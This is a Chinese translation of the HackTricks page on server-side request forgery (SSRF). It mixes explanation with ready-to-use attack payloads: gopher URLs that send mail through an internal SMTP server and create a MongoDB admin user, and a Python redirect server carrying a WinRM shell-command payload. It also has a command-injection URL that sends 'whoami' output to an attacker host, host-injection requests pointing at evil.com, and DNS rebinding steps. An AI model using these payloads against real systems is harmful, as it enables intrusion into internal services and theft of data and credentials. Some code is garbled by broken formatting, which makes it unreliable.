23 KiB
SSRF(服务器端请求伪造)
使用 Trickest 来轻松构建和自动化工作流,使用世界上最先进的社区工具。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
- 如果您想看到您的公司在 HackTricks 中做广告或下载 PDF 版本的 HackTricks,请查看订阅计划!
- 获取官方 PEASS & HackTricks 商品
- 发现PEASS 家族,我们的独家NFT收藏品
- 加入 💬 Discord 群组 或 电报群组 或在 Twitter 🐦 @carlospolopm** 上关注**我们。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。
基本信息
服务器端请求伪造(SSRF)漏洞发生在攻击者操纵服务器端应用程序以向其选择的域发出HTTP 请求时。此漏洞使服务器暴露于攻击者指定的任意外部请求之中。
捕获 SSRF
您需要做的第一件事是捕获由您生成的 SSRF 交互。您可以使用以下工具来捕获 HTTP 或 DNS 交互:
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - 使用 ngrok 的 Burp Collaborator
绕过白名单域
通常您会发现 SSRF 仅在特定的白名单域或 URL 中起作用。在以下页面中,您可以找到一些绕过白名单的技术汇编:
{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
通过开放重定向绕过
如果服务器受到正确保护,您可以通过利用网页内的开放重定向来绕过所有限制。因为网页将允许对同一域的 SSRF,并且可能会跟随重定向,您可以利用开放重定向使服务器访问任何内部资源。
了解更多信息:https://portswigger.net/web-security/ssrf
协议
- file://
- URL 方案
file://
被引用,直接指向/etc/passwd
:file:///etc/passwd
- dict://
- DICT URL 方案被描述为用于通过 DICT 协议访问定义或单词列表。给出的示例说明了一个构建的 URL,针对特定单词、数据库和条目编号,以及一个 PHP 脚本可能被滥用以使用攻击者提供的凭据连接到 DICT 服务器:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
- SFTP://
- 被确认为用于通过安全外壳进行安全文件传输的协议,提供了一个示例展示了如何利用 PHP 脚本连接到恶意 SFTP 服务器:
url=sftp://generic.com:11111/
- TFTP://
- 提到了通过 UDP 运行的 Trivial File Transfer Protocol,给出了一个设计用于向 TFTP 服务器发送请求的 PHP 脚本示例。向 'generic.com' 的端口 '12346' 发送 'TESTUDPPACKET' 文件的 TFTP 请求:
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
- LDAP://
- 该部分涵盖了轻量级目录访问协议,强调其用于管理和访问分布式目录信息服务的 IP 网络。通过 ssrf.php?url=ldap://localhost:11211/%0astats%0aquit 与本地主机上的 LDAP 服务器进行交互。
- SMTP
- 描述了利用 SSRF 漏洞与本地主机上的 SMTP 服务进行交互的方法,包括揭示内部域名并基于该信息采取进一步的调查行动的步骤。
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL globbing - WAF bypass
- 如果 SSRF 是由 curl 执行的,curl 有一个称为 URL globbing 的功能,可以用来绕过 WAF。例如,在这个 writeup 中,你可以找到一个关于通过
file
协议进行 路径遍历 的示例:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- Gopher://
- 讨论了Gopher协议指定IP、端口和字节进行服务器通信的能力,以及类似Gopherus和remote-method-guesser这样的工具用于构建有效载荷。展示了两种不同的用途:
Gopher://
使用该协议,您可以指定要发送到服务器的IP、端口和字节。然后,您基本上可以利用SSRF与任何TCP服务器通信(但首先您需要知道如何与该服务进行通信)。
幸运的是,您可以使用Gopherus为多个服务创建有效载荷。此外,remote-method-guesser可用于为Java RMI服务创建_gopher_有效载荷。
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP — 反向连接到1337
{% code title="redirect.php" %}
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
{% endcode %}
Gopher MongoDB -- 使用用户名为admin、密码为admin123且权限为管理员创建用户
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
通过Referrer头部和其他方式进行SSRF攻击
服务器上的分析软件通常记录Referrer头部以跟踪传入链接,这种做法无意中使应用程序暴露于服务器端请求伪造(SSRF)漏洞。这是因为这类软件可能访问Referrer头部中提到的外部URL以分析引荐站点内容。为了发现这些漏洞,建议使用Burp Suite插件“Collaborator Everywhere”,利用分析工具处理Referer头部的方式来识别潜在的SSRF攻击面。
通过证书中的SNI数据进行SSRF攻击
通过一个示例Nginx配置展示了一种可能使连接到任何后端变得简单的错误配置:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
在这个配置中,来自服务器名称指示(SNI)字段的值直接被用作后端地址。这种设置暴露了服务器端请求伪造(SSRF)的漏洞,可以通过在SNI字段中简单地指定所需的IP地址或域名来利用。下面是一个利用示例,使用openssl
命令强制连接到任意后端,比如internal.host.com
:
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
使用 Wget 进行文件上传
SSRF 与命令注入
值得尝试的一个有效载荷可能是:url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
PDF 渲染
如果网页自动创建了一个包含您提供信息的 PDF,您可以插入一些 JS 代码,该代码将由 PDF 创建者本身(服务器)执行,从而在创建 PDF 时滥用 SSRF。在这里查找更多信息.
从 SSRF 到 DoS
创建多个会话并尝试从这些会话中利用 SSRF 下载大文件。
SSRF PHP 函数
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}
SSRF 重定向到 Gopher
对于某些利用,您可能需要发送重定向响应(可能使用不同的协议,如 gopher)。这里有不同的 Python 代码用于响应重定向:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```python
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
使用 Trickest 来轻松构建和自动化由全球最先进的社区工具驱动的工作流程。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
配置错误的代理到 SSRF
来自这篇文章的技巧。
Flask
Flask 代理易受攻击的代码
```python from flask import Flask from requests import getapp = Flask('main') SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''}) @app.route('/path:path')
def proxy(path): return get(f'{SITE_NAME}{path}').content
if name == "main": app.run(threaded=False)
</details>
Flask允许使用**`@`**作为初始字符,这允许将**初始主机名作为用户名**并注入一个新的。攻击请求:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
易受攻击的代码:
发现可以通过在请求路径的开头使用字符 ;
,然后使用 @
注入新主机以访问。攻击请求:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
PHP内置Web服务器
受影响的PHP代码
```php $proxy_site = $site.$current_uri; var_dump($proxy_site);echo "\n\n";
$response = file_get_contents($proxy_site); var_dump($response); ?>
</details>
PHP允许在URL路径中的斜杠前使用**字符 `*`**,但它有其他限制,比如它只能用于根路径名`/`,并且在第一个斜杠之前不允许使用点`.`,因此需要使用无点十六进制编码的IP地址,例如:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
DNS Rebinding CORS/SOP绕过
如果由于CORS/SOP而无法从本地IP中泄露内容,可以使用DNS Rebinding来绕过这个限制:
{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}
自动化DNS Rebinding
Singularity of Origin
是一个执行DNS rebinding攻击的工具。它包括重新绑定攻击服务器DNS名称的IP地址到目标机器的IP地址以及提供攻击载荷以利用目标机器上的易受攻击的软件所需的组件。
还可以查看在http://rebind.it/singularity.html上公开运行的服务器
DNS Rebinding + TLS会话ID/会话票据
要求:
- SSRF
- 出站TLS会话
- 本地端口上的内容
攻击:
- 要求用户/机器人访问由攻击者控制的域
- DNS的TTL为0秒(因此受害者将很快再次检查域的IP)
- 在受害者和攻击者域之间创建一个TLS连接。攻击者在会话ID或会话票据中引入载荷。
- 域将开始对自己进行无限重定向。这样做的目的是使用户/机器人访问该域,直到再次执行域的DNS请求。
- 在DNS请求中,现在给出一个私有IP地址(例如127.0.0.1)
- 用户/机器人将尝试重新建立TLS连接,为此将发送****会话ID/票据ID(其中包含攻击者的载荷)。恭喜,您成功要求用户/机器人攻击自己。
请注意,在此攻击期间,如果要攻击localhost:11211(memcache),则需要使受害者与www.attacker.com:11211(端口必须始终相同)建立初始连接。
要执行此攻击,可以使用工具:https://github.com/jmdx/TLS-poison/
要了解更多信息,请查看解释此攻击的演讲:https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
盲SSRF
盲SSRF和非盲SSRF之间的区别在于在盲SSRF中您无法看到SSRF请求的响应。因此,要利用它会更加困难,因为您只能利用已知的漏洞。
基于时间的SSRF
通过检查服务器响应的时间,可能可以知道资源是否存在(访问现有资源可能比访问不存在的资源需要更多时间)
云SSRF利用
如果在运行在云环境中的机器中发现了SSRF漏洞,您可能能够获取有关云环境甚至凭据的有趣信息:
{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}
SSRF易受攻击平台
几个已知平台包含或曾包含SSRF漏洞,请在以下位置检查它们:
{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}
工具
SSRFMap
用于检测和利用SSRF漏洞的工具
Gopherus
该工具为以下生成Gopher载荷:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
_remote-method-guesser_是一个支持大多数常见_Java RMI_漏洞的攻击操作的_Java RMI_漏洞扫描程序。大多数可用操作都支持--ssrf
选项,以为所请求的操作生成一个SSRF载荷。结合--gopher
选项,可以直接生成可用的_gopher_载荷。
SSRF Proxy
SSRF Proxy是一个多线程HTTP代理服务器,旨在通过对Server-Side Request Forgery (SSRF)漏洞敏感的HTTP服务器来传输客户端HTTP流量。
练习
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
参考资料
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
从零开始学习AWS黑客技术,使用 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载PDF版本的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 发现PEASS Family,我们的独家NFTs收藏品
- 加入 💬 Discord群 或 电报群 或在Twitter 🐦 @carlospolopm上关注我们。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
使用Trickest可以轻松构建和自动化工作流程,使用全球最先进的社区工具驱动。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}